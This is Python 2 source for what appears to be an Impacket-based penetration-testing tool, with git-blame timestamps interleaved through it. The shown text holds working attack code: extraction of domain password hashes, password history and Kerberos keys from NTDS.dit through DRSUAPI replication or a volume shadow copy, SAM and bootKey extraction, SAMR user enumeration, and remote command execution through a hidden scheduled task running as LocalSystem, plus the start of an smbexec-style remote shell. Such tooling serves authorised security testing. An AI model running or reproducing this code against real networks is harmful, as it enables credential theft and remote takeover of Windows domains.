for attr in record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pObjects ' ] [ ' Entinf ' ] [ ' AttrBlock ' ] [ ' pAttr ' ] :
if attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' dBCSPwd ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
encrypteddBCSPwd = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] )
encryptedLMHash = drsuapi . DecryptAttributeValue ( self . __remoteOps . getDrsr ( ) , encrypteddBCSPwd )
LMHash = drsuapi . removeDESLayer ( encryptedLMHash , rid )
else :
LMHash = ntlm . LMOWFv1 ( ' ' , ' ' )
elif attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' unicodePwd ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
encryptedUnicodePwd = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] )
encryptedNTHash = drsuapi . DecryptAttributeValue ( self . __remoteOps . getDrsr ( ) , encryptedUnicodePwd )
NTHash = drsuapi . removeDESLayer ( encryptedNTHash , rid )
else :
NTHash = ntlm . NTOWFv1 ( ' ' , ' ' )
elif attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' userPrincipalName ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
try :
domain = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] ) . decode ( ' utf-16le ' ) . split ( ' @ ' ) [ - 1 ]
except :
domain = None
else :
domain = None
elif attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' sAMAccountName ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
try :
userName = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] ) . decode ( ' utf-16le ' )
except :
logging . error ( ' Cannot get sAMAccountName for %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
userName = ' unknown '
else :
logging . error ( ' Cannot get sAMAccountName for %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
userName = ' unknown '
elif attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' objectSid ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
objectSid = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] )
else :
logging . error ( ' Cannot get objectSid for %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
objectSid = rid
if self . __history :
if attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' lmPwdHistory ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
encryptedLMHistory = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] )
tmpLMHistory = drsuapi . DecryptAttributeValue ( self . __remoteOps . getDrsr ( ) , encryptedLMHistory )
for i in range ( 0 , len ( tmpLMHistory ) / 16 ) :
LMHashHistory = drsuapi . removeDESLayer ( tmpLMHistory [ i * 16 : ( i + 1 ) * 16 ] , rid )
LMHistory . append ( LMHashHistory )
else :
logging . debug ( ' No lmPwdHistory for user %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
elif attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' ntPwdHistory ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
encryptedNTHistory = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] )
tmpNTHistory = drsuapi . DecryptAttributeValue ( self . __remoteOps . getDrsr ( ) , encryptedNTHistory )
for i in range ( 0 , len ( tmpNTHistory ) / 16 ) :
NTHashHistory = drsuapi . removeDESLayer ( tmpNTHistory [ i * 16 : ( i + 1 ) * 16 ] , rid )
NTHistory . append ( NTHashHistory )
else :
logging . debug ( ' No ntPwdHistory for user %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
if domain is not None :
userName = ' %s \\ %s ' % ( domain , userName )
answer = " %s : %s : %s : %s ::: " % ( userName , rid , hexlify ( LMHash ) , hexlify ( NTHash ) )
self . __hashesFound [ objectSid ] = answer
self . dumped_hashes [ ' hashes ' ] . append ( answer )
if self . __history :
for i , ( LMHashHistory , NTHashHistory ) in enumerate (
map ( lambda l , n : ( l , n ) if l else ( ' ' , n ) , LMHistory [ 1 : ] , NTHistory [ 1 : ] ) ) :
if self . __noLMHash :
lmhash = hexlify ( ntlm . LMOWFv1 ( ' ' , ' ' ) )
else :
lmhash = hexlify ( LMHashHistory )
answer = " %s _history %d : %s : %s : %s ::: " % ( userName , i , rid , lmhash , hexlify ( NTHashHistory ) )
self . __hashesFound [ objectSid + str ( i ) ] = answer
print answer
def dump ( self ) :
if self . __NTDS is None and self . __useVSSMethod is True :
# No NTDS.dit file provided and were asked to use VSS
return
else :
try :
self . __remoteOps . connectSamr ( self . __remoteOps . getMachineNameAndDomain ( ) [ 1 ] )
except :
# Target's not a DC
return
logging . info ( ' Dumping Domain Credentials (domain \\ uid:rid:lmhash:nthash) ' )
if self . __useVSSMethod :
# We start getting rows from the table aiming at reaching
# the pekList. If we find users records we stored them
# in a temp list for later process.
self . __getPek ( )
if self . __PEK is not None :
logging . info ( ' Pek found and decrypted: 0x %s ' % hexlify ( self . __PEK ) )
logging . info ( ' Reading and decrypting hashes from %s ' % self . __NTDS )
# First of all, if we have users already cached, let's decrypt their hashes
for record in self . __tmpUsers :
try :
self . __decryptHash ( record )
self . __decryptSupplementalInfo ( record )
except Exception , e :
# import traceback
# print traceback.print_exc()
try :
logging . error (
" Error while processing row for user %s " % record [ self . NAME_TO_INTERNAL [ ' name ' ] ] )
logging . error ( str ( e ) )
pass
except :
logging . error ( " Error while processing row! " )
logging . error ( str ( e ) )
pass
# Now let's keep moving through the NTDS file and decrypting what we find
while True :
try :
record = self . __ESEDB . getNextRow ( self . __cursor )
except :
logging . error ( ' Error while calling getNextRow(), trying the next one ' )
continue
if record is None :
break
try :
if record [ self . NAME_TO_INTERNAL [ ' sAMAccountType ' ] ] in self . ACCOUNT_TYPES :
self . __decryptHash ( record )
self . __decryptSupplementalInfo ( record )
except Exception , e :
# import traceback
# print traceback.print_exc()
try :
logging . error (
" Error while processing row for user %s " % record [ self . NAME_TO_INTERNAL [ ' name ' ] ] )
logging . error ( str ( e ) )
pass
except :
logging . error ( " Error while processing row! " )
logging . error ( str ( e ) )
pass
else :
logging . info ( ' Using the DRSUAPI method to get NTDS.DIT secrets ' )
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES :
resp = self . __remoteOps . getDomainUsers ( enumerationContext )
for user in resp [ ' Buffer ' ] [ ' Buffer ' ] :
userName = user [ ' Name ' ]
2015-08-26 11:44:10 +00:00
userSid = self . __remoteOps . ridToSid ( user [ ' RelativeId ' ] )
# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self . __remoteOps . DRSCrackNames ( drsuapi . DS_NAME_FORMAT . DS_SID_OR_SID_HISTORY_NAME , drsuapi . DS_NAME_FORMAT . DS_FQDN_1779_NAME , name = userSid . formatCanonical ( ) )
2015-08-20 21:33:18 +00:00
if crackedName [ ' pmsgOut ' ] [ ' V1 ' ] [ ' pResult ' ] [ ' cItems ' ] == 1 :
userRecord = self . __remoteOps . DRSGetNCChanges ( crackedName [ ' pmsgOut ' ] [ ' V1 ' ] [ ' pResult ' ] [ ' rItems ' ] [ 0 ] [ ' pName ' ] [ : - 1 ] )
#userRecord.dump()
if userRecord [ ' pmsgOut ' ] [ ' V6 ' ] [ ' cNumObjects ' ] == 0 :
raise Exception ( ' DRSGetNCChanges didn \' t return any object! ' )
else :
logging . warning ( ' DRSCrackNames returned %d items for user %s , skipping ' % ( crackedName [ ' pmsgOut ' ] [ ' V1 ' ] [ ' pResult ' ] [ ' cItems ' ] , userName ) )
try :
self . __decryptHash ( userRecord , user [ ' RelativeId ' ] )
self . __decryptSupplementalInfo ( userRecord , user [ ' RelativeId ' ] )
except Exception , e :
#import traceback
#traceback.print_exc()
logging . error ( " Error while processing user! " )
logging . error ( str ( e ) )
enumerationContext = resp [ ' EnumerationContext ' ]
status = resp [ ' ErrorCode ' ]
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
if len ( self . __kerberosKeys ) > 0 :
if self . __useVSSMethod is True :
logging . info ( ' Kerberos keys from %s ' % self . __NTDS )
else :
logging . info ( ' Kerberos keys grabbed ' )
for itemKey in self . __kerberosKeys . keys ( ) :
self . dumped_hashes [ ' kerb ' ] . append ( itemKey )
return self . dumped_hashes
def export ( self , fileName ) :
if len ( self . __hashesFound ) > 0 :
items = sorted ( self . __hashesFound )
fd = open ( fileName + ' .ntds ' , ' w+ ' )
for item in items :
try :
fd . write ( self . __hashesFound [ item ] + ' \n ' )
except :
try :
logging . error ( " Error writing entry %d , skipping " % item )
except :
logging . error ( " Error writing entry, skipping " )
pass
fd . close ( )
if len ( self . __kerberosKeys ) > 0 :
fd = open ( fileName + ' .ntds.kerberos ' , ' w+ ' )
for itemKey in self . __kerberosKeys . keys ( ) :
fd . write ( itemKey + ' \n ' )
fd . close ( )
def finish ( self ) :
if self . __NTDS is not None :
self . __ESEDB . close ( )
2015-08-14 14:18:52 +00:00
class DumpSecrets :
2015-08-21 02:55:39 +00:00
def __init__ ( self , address , username = ' ' , password = ' ' , domain = ' ' , hashes = None , sam = False , ntds = False , useVSSMethod = False , useNinjaMethod = False ) :
2015-08-14 14:18:52 +00:00
self . __remoteAddr = address
self . __username = username
self . __password = password
self . __domain = domain
self . __lmhash = ' '
self . __nthash = ' '
2015-08-20 21:33:18 +00:00
self . __sam = sam
self . __ntds = ntds
self . __useVSSMethod = useVSSMethod
2015-08-21 02:55:39 +00:00
self . __useNinjaMethod = useNinjaMethod
2015-08-14 14:18:52 +00:00
self . __remoteOps = None
self . __SAMHashes = None
self . __isRemote = True
2015-08-20 21:33:18 +00:00
self . dumped_ntds_hashes = None
self . dumped_sam_hashes = None
2015-08-14 14:18:52 +00:00
if hashes :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
def getBootKey ( self ) :
# Local Version whenever we are given the files directly
bootKey = ' '
tmpKey = ' '
winreg = winregistry . Registry ( self . __systemHive , self . __isRemote )
# We gotta find out the Current Control Set
currentControlSet = winreg . getValue ( ' \\ Select \\ Current ' ) [ 1 ]
currentControlSet = " ControlSet %03d " % currentControlSet
for key in [ ' JD ' , ' Skew1 ' , ' GBG ' , ' Data ' ] :
2015-08-21 02:55:39 +00:00
logging . debug ( ' Retrieving class info for %s ' % key )
2015-08-14 14:18:52 +00:00
ans = winreg . getClass ( ' \\ %s \\ Control \\ Lsa \\ %s ' % ( currentControlSet , key ) )
digit = ans [ : 16 ] . decode ( ' utf-16le ' )
tmpKey = tmpKey + digit
transforms = [ 8 , 5 , 4 , 2 , 11 , 9 , 13 , 3 , 0 , 6 , 1 , 12 , 14 , 10 , 15 , 7 ]
tmpKey = unhexlify ( tmpKey )
for i in xrange ( len ( tmpKey ) ) :
bootKey + = tmpKey [ transforms [ i ] ]
2015-08-21 02:55:39 +00:00
logging . info ( ' Target system bootKey: 0x %s ' % hexlify ( bootKey ) )
2015-08-14 14:18:52 +00:00
return bootKey
def checkNoLMHashPolicy ( self ) :
2015-08-21 02:55:39 +00:00
logging . debug ( ' Checking NoLMHash Policy ' )
2015-08-14 14:18:52 +00:00
winreg = winregistry . Registry ( self . __systemHive , self . __isRemote )
# We gotta find out the Current Control Set
currentControlSet = winreg . getValue ( ' \\ Select \\ Current ' ) [ 1 ]
currentControlSet = " ControlSet %03d " % currentControlSet
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
noLmHash = winreg . getValue ( ' \\ %s \\ Control \\ Lsa \\ NoLmHash ' % currentControlSet )
if noLmHash is not None :
noLmHash = noLmHash [ 1 ]
else :
noLmHash = 0
if noLmHash != 1 :
2015-08-21 02:55:39 +00:00
logging . debug ( ' LMHashes are being stored ' )
2015-08-14 14:18:52 +00:00
return False
2015-08-21 02:55:39 +00:00
logging . debug ( ' LMHashes are NOT being stored ' )
2015-08-14 14:18:52 +00:00
return True
2015-08-21 02:55:39 +00:00
def dump ( self , smbconnection ) :
2015-08-14 14:18:52 +00:00
try :
2015-08-21 02:55:39 +00:00
self . __remoteOps = RemoteOperations ( smbconnection )
2015-08-14 14:18:52 +00:00
self . __remoteOps . enableRegistry ( )
bootKey = self . __remoteOps . getBootKey ( )
# Let's check whether target system stores LM Hashes
self . __noLMHash = self . __remoteOps . checkNoLMHashPolicy ( )
2015-08-21 02:55:39 +00:00
SECURITYFileName = self . __remoteOps . saveSECURITY ( )
2015-08-14 14:18:52 +00:00
2015-08-20 21:33:18 +00:00
if self . __sam is True :
SAMFileName = self . __remoteOps . saveSAM ( )
2015-08-14 14:18:52 +00:00
2015-08-20 21:33:18 +00:00
self . __SAMHashes = SAMHashes ( SAMFileName , bootKey )
self . dumped_sam_hashes = self . __SAMHashes . dump ( )
2015-08-14 14:18:52 +00:00
2015-08-20 21:33:18 +00:00
elif self . __ntds is True :
if self . __useVSSMethod :
NTDSFileName = self . __remoteOps . saveNTDS ( )
2015-08-21 02:55:39 +00:00
elif self . __useNinjaMethod :
NTDSFileName = self . __remoteOps . saveNTDS ( ninja = True )
self . __useVSSMethod = True
2015-08-20 21:33:18 +00:00
else :
NTDSFileName = None
self . __NTDSHashes = NTDSHashes ( NTDSFileName , bootKey , noLMHash = self . __noLMHash , remoteOps = self . __remoteOps , useVSSMethod = self . __useVSSMethod )
try :
self . dumped_ntds_hashes = self . __NTDSHashes . dump ( )
except Exception , e :
logging . error ( e )
if self . __useVSSMethod is False :
logging . info ( ' Something wen \' t wrong with the DRSUAPI approach. Try again with -use-vss parameter ' )
2015-08-15 13:32:57 +00:00
2015-10-07 20:24:03 +00:00
except ( Exception , KeyboardInterrupt ) as e :
2015-08-21 02:55:39 +00:00
traceback . print_exc ( )
2015-08-14 14:18:52 +00:00
try :
self . cleanup ( )
except :
pass
def cleanup ( self ) :
2015-08-21 02:55:39 +00:00
logging . info ( ' Cleaning up... ' )
2015-08-14 14:18:52 +00:00
if self . __remoteOps :
self . __remoteOps . finish ( )
if self . __SAMHashes :
self . __SAMHashes . finish ( )
2015-08-20 21:33:18 +00:00
if self . __NTDSHashes :
self . __NTDSHashes . finish ( )
2015-08-14 14:18:52 +00:00
class ListUsersException ( Exception ) :
pass
class SAMRDump :
KNOWN_PROTOCOLS = {
' 139/SMB ' : ( r ' ncacn_np: %s [ \ pipe \ samr] ' , 139 ) ,
' 445/SMB ' : ( r ' ncacn_np: %s [ \ pipe \ samr] ' , 445 ) ,
}
def __init__ ( self , protocols = None , username = ' ' , password = ' ' , domain = ' ' , hashes = None , aesKey = None , doKerberos = False ) :
if not protocols :
self . __protocols = SAMRDump . KNOWN_PROTOCOLS . keys ( )
else :
self . __protocols = [ protocols ]
self . __username = username
self . __password = password
self . __domain = domain
self . __lmhash = ' '
self . __nthash = ' '
self . __aesKey = aesKey
self . __doKerberos = doKerberos
if hashes :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
2015-10-06 08:07:28 +00:00
def connect ( self , addr ) :
2015-08-14 14:18:52 +00:00
""" Dumps the list of users and shares registered present at
addr . Addr is a valid host name or IP address .
"""
2015-08-21 02:55:39 +00:00
#logging.info('Retrieving endpoint list from %s' % addr)
2015-08-14 14:18:52 +00:00
# Try all requested protocols until one works.
for protocol in self . __protocols :
protodef = SAMRDump . KNOWN_PROTOCOLS [ protocol ]
port = protodef [ 1 ]
2015-08-21 02:55:39 +00:00
#logging.info("Trying protocol %s..." % protocol)
2015-08-14 14:18:52 +00:00
rpctransport = transport . SMBTransport ( addr , port , r ' \ samr ' , self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash , self . __aesKey , doKerberos = self . __doKerberos )
2015-10-06 08:07:28 +00:00
dce = rpctransport . get_dce_rpc ( )
2015-08-14 14:18:52 +00:00
2015-10-06 08:07:28 +00:00
dce . connect ( )
dce . bind ( samr . MSRPC_UUID_SAMR )
2015-08-14 14:18:52 +00:00
resp = samr . hSamrConnect ( dce )
serverHandle = resp [ ' ServerHandle ' ]
resp = samr . hSamrEnumerateDomainsInSamServer ( dce , serverHandle )
domains = resp [ ' Buffer ' ] [ ' Buffer ' ]
2015-10-06 08:07:28 +00:00
resp = samr . hSamrLookupDomainInSamServer ( dce , serverHandle , domains [ 0 ] [ ' Name ' ] )
2015-08-14 14:18:52 +00:00
resp = samr . hSamrOpenDomain ( dce , serverHandle = serverHandle , domainId = resp [ ' DomainId ' ] )
domainHandle = resp [ ' DomainHandle ' ]
2015-10-06 08:07:28 +00:00
return rpctransport , dce , domainHandle
2015-08-15 13:32:57 +00:00
2015-10-06 08:07:28 +00:00
def convert ( self , low , high , no_zero ) :
if low == 0 and hex ( high ) == " -0x80000000 " :
return " Not Set "
if low == 0 and high == 0 :
return " None "
if no_zero : # make sure we have a +ve vale for the unsined int
if ( low != 0 ) :
high = 0 - ( high + 1 )
2015-08-15 13:32:57 +00:00
else :
2015-10-06 08:07:28 +00:00
high = 0 - ( high )
low = 0 - low
tmp = low + ( high ) * 16 * * 8 # convert to 64bit int
tmp * = ( 1e-7 ) # convert to seconds
try :
minutes = int ( strftime ( " % M " , gmtime ( tmp ) ) ) # do the conversion to human readable format
except ValueError , e :
return " BAD TIME: "
hours = int ( strftime ( " % H " , gmtime ( tmp ) ) )
days = int ( strftime ( " % j " , gmtime ( tmp ) ) ) - 1
time = " "
if days > 1 :
time = str ( days ) + " days "
elif days == 1 :
time = str ( days ) + " day "
if hours > 1 :
time + = str ( hours ) + " hours "
elif hours == 1 :
time = str ( days ) + " hour "
if minutes > 1 :
time + = str ( minutes ) + " minutes "
elif minutes == 1 :
time = str ( days ) + " minute "
return time
def get_pass_pol ( self , host ) :
rpctransport , dce , domainHandle = self . connect ( host )
res_list = [ ]
resp = samr . hSamrQueryInformationDomain ( dce , domainHandle , samr . DOMAIN_INFORMATION_CLASS . DomainPasswordInformation )
min_pass_len = resp [ ' Buffer ' ] [ ' Password ' ] [ ' MinPasswordLength ' ]
if min_pass_len == 0 : min_pass_len = None
pass_hst_len = resp [ ' Buffer ' ] [ ' Password ' ] [ ' PasswordHistoryLength ' ]
if pass_hst_len == 0 : pass_hst_len = None
res_list . append ( ' Minimum password length: {} ' . format ( min_pass_len ) )
res_list . append ( ' Password history length: {} ' . format ( pass_hst_len ) )
max_pass_age = self . convert ( resp [ ' Buffer ' ] [ ' Password ' ] [ ' MaxPasswordAge ' ] [ ' LowPart ' ] ,
resp [ ' Buffer ' ] [ ' Password ' ] [ ' MaxPasswordAge ' ] [ ' HighPart ' ] ,
1 )
min_pass_age = self . convert ( resp [ ' Buffer ' ] [ ' Password ' ] [ ' MinPasswordAge ' ] [ ' LowPart ' ] ,
resp [ ' Buffer ' ] [ ' Password ' ] [ ' MinPasswordAge ' ] [ ' HighPart ' ] ,
1 )
if max_pass_age == 0 : max_pass_age = None
if min_pass_age == 0 : min_pass_age = None
2015-08-15 13:32:57 +00:00
2015-10-06 08:07:28 +00:00
res_list . append ( ' Maximum password age: {} ' . format ( max_pass_age ) )
res_list . append ( ' Minimum password age: {} ' . format ( min_pass_age ) )
resp = samr . hSamrQueryInformationDomain2 ( dce , domainHandle , samr . DOMAIN_INFORMATION_CLASS . DomainLockoutInformation )
lock_threshold = int ( resp [ ' Buffer ' ] [ ' Lockout ' ] [ ' LockoutThreshold ' ] )
if lock_threshold == 0 : lock_threshold = None
res_list . append ( " Account lockout threshold: {} " . format ( lock_threshold ) )
lock_duration = None
if lock_threshold is not None : lock_duration = int ( resp [ ' Buffer ' ] [ ' Lockout ' ] [ ' LockoutDuration ' ] ) / - 600000000
res_list . append ( " Account lockout duration: {} " . format ( lock_duration ) )
return res_list
def get_users ( self , host ) :
rpctransport , dce , domainHandle = self . connect ( host )
entries = [ ]
try :
2015-08-14 14:18:52 +00:00
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES :
try :
resp = samr . hSamrEnumerateUsersInDomain ( dce , domainHandle , enumerationContext = enumerationContext )
except DCERPCException , e :
if str ( e ) . find ( ' STATUS_MORE_ENTRIES ' ) < 0 :
raise
resp = e . get_packet ( )
for user in resp [ ' Buffer ' ] [ ' Buffer ' ] :
2015-08-15 13:32:57 +00:00
r = samr . hSamrOpenUser ( dce , domainHandle , samr . MAXIMUM_ALLOWED , user [ ' RelativeId ' ] )
2015-08-14 14:18:52 +00:00
info = samr . hSamrQueryInformationUser2 ( dce , r [ ' UserHandle ' ] , samr . USER_INFORMATION_CLASS . UserAllInformation )
2015-10-06 08:07:28 +00:00
entries . append ( ( user [ ' Name ' ] , user [ ' RelativeId ' ] , info [ ' Buffer ' ] [ ' All ' ] ) )
2015-08-14 14:18:52 +00:00
samr . hSamrCloseHandle ( dce , r [ ' UserHandle ' ] )
enumerationContext = resp [ ' EnumerationContext ' ]
status = resp [ ' ErrorCode ' ]
2015-10-06 08:07:28 +00:00
except ListUsersException as e :
2015-08-19 15:13:54 +00:00
logging . info ( " Error listing users: %s " % e )
2015-08-14 14:18:52 +00:00
dce . disconnect ( )
return entries
2015-08-16 13:53:08 +00:00
class TSCH_EXEC :
2015-08-19 09:47:51 +00:00
def __init__ ( self , username , password , command , domain = ' ' , hashes = None , noOutput = False ) :
2015-08-16 13:53:08 +00:00
self . __username = username
self . __password = password
self . __domain = domain
self . __lmhash = ' '
self . __nthash = ' '
2015-08-19 09:47:51 +00:00
self . __myIPaddr = None
2015-08-16 13:53:08 +00:00
self . __aesKey = None
self . __doKerberos = False
self . __command = command
self . __tmpName = ' ' . join ( [ random . choice ( string . letters ) for _ in range ( 8 ) ] )
self . __tmpFileName = self . __tmpName + ' .tmp '
self . __smbConnection = None
self . __dceConnection = None
2015-08-19 09:47:51 +00:00
self . __noOutput = noOutput
self . __mode = ' SHARE '
2015-08-16 21:25:20 +00:00
self . output = ' '
2015-08-16 13:53:08 +00:00
if hashes :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
def play ( self , addr ) :
stringbinding = r ' ncacn_np: %s [ \ pipe \ atsvc] ' % addr
rpctransport = transport . DCERPCTransportFactory ( stringbinding )
if hasattr ( rpctransport , ' set_credentials ' ) :
# This method exists only for selected protocol sequences.
rpctransport . set_credentials ( self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash ,
self . __aesKey )
rpctransport . set_kerberos ( self . __doKerberos )
2015-08-19 09:47:51 +00:00
2015-08-16 13:53:08 +00:00
try :
self . doStuff ( rpctransport )
2015-09-28 21:08:14 +00:00
except SessionError as e :
if args . verbose : traceback . print_exc ( )
2015-08-16 13:53:08 +00:00
if str ( e ) . find ( ' STATUS_OBJECT_NAME_NOT_FOUND ' ) > = 0 :
2015-08-19 09:47:51 +00:00
#If we receive the 'STATUS_OBJECT_NAME_NOT_FOUND' error, it might work if we try again
sleep ( 1 )
2015-08-17 16:40:10 +00:00
self . doStuff ( rpctransport )
2015-08-19 09:47:51 +00:00
else :
if self . __noOutput is False :
self . __myIPaddr = self . __smbConnection . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
logging . info ( ' Starting SMB Server ' )
smb_server = SMBServer ( )
smb_server . daemon = True
smb_server . start ( )
self . __mode = ' SERVER '
self . doStuff ( rpctransport )
smb_server . stop ( )
2015-08-16 13:53:08 +00:00
def doStuff ( self , rpctransport ) :
def output_callback ( data ) :
2015-08-16 21:25:20 +00:00
self . output + = data
2015-08-16 13:53:08 +00:00
dce = rpctransport . get_dce_rpc ( )
self . __dceConnection = dce
dce . set_credentials ( * rpctransport . get_credentials ( ) )
dce . connect ( )
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce . bind ( tsch . MSRPC_UUID_TSCHS )
xml = """ <?xml version= " 1.0 " encoding= " UTF-16 " ?>
< Task version = " 1.2 " xmlns = " http://schemas.microsoft.com/windows/2004/02/mit/task " >
< Triggers >
< CalendarTrigger >
< StartBoundary > 2015 - 07 - 15 T20 : 35 : 13.2757294 < / StartBoundary >
< Enabled > true < / Enabled >
< ScheduleByDay >
< DaysInterval > 1 < / DaysInterval >
< / ScheduleByDay >
< / CalendarTrigger >
< / Triggers >
< Principals >
< Principal id = " LocalSystem " >
< UserId > S - 1 - 5 - 18 < / UserId >
< RunLevel > HighestAvailable < / RunLevel >
< / Principal >
< / Principals >
< Settings >
< MultipleInstancesPolicy > IgnoreNew < / MultipleInstancesPolicy >
< DisallowStartIfOnBatteries > false < / DisallowStartIfOnBatteries >
< StopIfGoingOnBatteries > false < / StopIfGoingOnBatteries >
< AllowHardTerminate > true < / AllowHardTerminate >
< RunOnlyIfNetworkAvailable > false < / RunOnlyIfNetworkAvailable >
< IdleSettings >
< StopOnIdleEnd > true < / StopOnIdleEnd >
< RestartOnIdle > false < / RestartOnIdle >
< / IdleSettings >
< AllowStartOnDemand > true < / AllowStartOnDemand >
< Enabled > true < / Enabled >
< Hidden > true < / Hidden >
< RunOnlyIfIdle > false < / RunOnlyIfIdle >
< WakeToRun > false < / WakeToRun >
< ExecutionTimeLimit > P3D < / ExecutionTimeLimit >
< Priority > 7 < / Priority >
< / Settings >
< Actions Context = " LocalSystem " >
< Exec >
< Command > cmd . exe < / Command >
2015-08-19 09:47:51 +00:00
"""
if self . __mode == ' SHARE ' :
xml + = """ <Arguments>/C {} > % windir % \\ Temp \\ {} 2>&1</Arguments>
2015-08-16 13:53:08 +00:00
< / Exec >
< / Actions >
< / Task >
2015-08-19 09:47:51 +00:00
""" .format(self.__command, self.__tmpFileName)
elif self . __mode == ' SERVER ' :
xml + = """ <Arguments>/C {} > \\ \\ {} \\ {} \\ {} 2>&1</Arguments>
< / Exec >
< / Actions >
< / Task >
""" .format(self.__command, self.__myIPaddr, DUMMY_SHARE, self.__tmpFileName)
2015-08-16 13:53:08 +00:00
taskCreated = False
try :
logging . info ( ' Creating task \\ %s ' % self . __tmpName )
tsch . hSchRpcRegisterTask ( dce , ' \\ %s ' % self . __tmpName , xml , tsch . TASK_CREATE , NULL , tsch . TASK_LOGON_NONE )
taskCreated = True
logging . info ( ' Running task \\ %s ' % self . __tmpName )
tsch . hSchRpcRun ( dce , ' \\ %s ' % self . __tmpName )
done = False
while not done :
2015-08-19 15:13:54 +00:00
logging . info ( ' Calling SchRpcGetLastRunInfo for \\ %s ' % self . __tmpName )
2015-08-16 13:53:08 +00:00
resp = tsch . hSchRpcGetLastRunInfo ( dce , ' \\ %s ' % self . __tmpName )
if resp [ ' pLastRuntime ' ] [ ' wYear ' ] != 0 :
done = True
else :
sleep ( 2 )
logging . info ( ' Deleting task \\ %s ' % self . __tmpName )
tsch . hSchRpcDelete ( dce , ' \\ %s ' % self . __tmpName )
taskCreated = False
except tsch . DCERPCSessionError , e :
2015-08-19 15:13:54 +00:00
logging . info ( e )
2015-08-16 13:53:08 +00:00
e . get_packet ( ) . dump ( )
finally :
if taskCreated is True :
tsch . hSchRpcDelete ( dce , ' \\ %s ' % self . __tmpName )
2015-08-19 09:47:51 +00:00
if self . __noOutput is False :
if self . __mode == ' SHARE ' :
smbConnection = rpctransport . get_smb_connection ( )
self . __smbConnection = smbConnection
waitOnce = True
while True :
try :
logging . info ( ' Attempting to read ADMIN$ \\ Temp \\ %s ' % self . __tmpFileName )
smbConnection . getFile ( ' ADMIN$ ' , ' Temp \\ %s ' % self . __tmpFileName , output_callback )
break
except Exception , e :
if str ( e ) . find ( ' SHARING ' ) > 0 :
sleep ( 3 )
elif str ( e ) . find ( ' STATUS_OBJECT_NAME_NOT_FOUND ' ) > = 0 :
if waitOnce is True :
# We're giving it the chance to flush the file before giving up
sleep ( 3 )
waitOnce = False
else :
raise
else :
raise
elif self . __mode == ' SERVER ' :
wait = 0
while wait < 5 :
try :
with open ( SMBSERVER_DIR + ' / ' + self . __tmpFileName , ' r ' ) as fd :
output_callback ( fd . read ( ) )
break
except IOError :
sleep ( 1 )
wait + = 1
2015-08-16 13:53:08 +00:00
def cleanup ( self ) :
logging . info ( ' Deleting file ADMIN$ \\ Temp \\ %s ' % self . __tmpFileName )
self . __smbConnection . deleteFile ( ' ADMIN$ ' , ' Temp \\ %s ' % self . __tmpFileName )
self . __dceConnection . disconnect ( )
2015-08-17 16:40:10 +00:00
class RemoteShellsmbexec ( ) :
2015-08-19 09:47:51 +00:00
def __init__ ( self , share , rpc , mode , serviceName , command , noOutput = False ) :
2015-08-17 16:40:10 +00:00
self . __share = share
self . __mode = mode
2015-08-19 09:47:51 +00:00
self . __noOutput = noOutput
2015-08-17 16:40:10 +00:00
self . __output = ' \\ Windows \\ Temp \\ ' + OUTPUT_FILENAME
self . __batchFile = ' % TEMP % \\ ' + BATCH_FILENAME
self . __outputBuffer = ' '
self . __command = command
self . __shell = ' % COMSPEC % /Q /c '
self . __serviceName = serviceName
self . __rpc = rpc
self . __scmr = rpc . get_dce_rpc ( )
2015-08-20 21:33:18 +00:00
self . __scmr . connect ( )
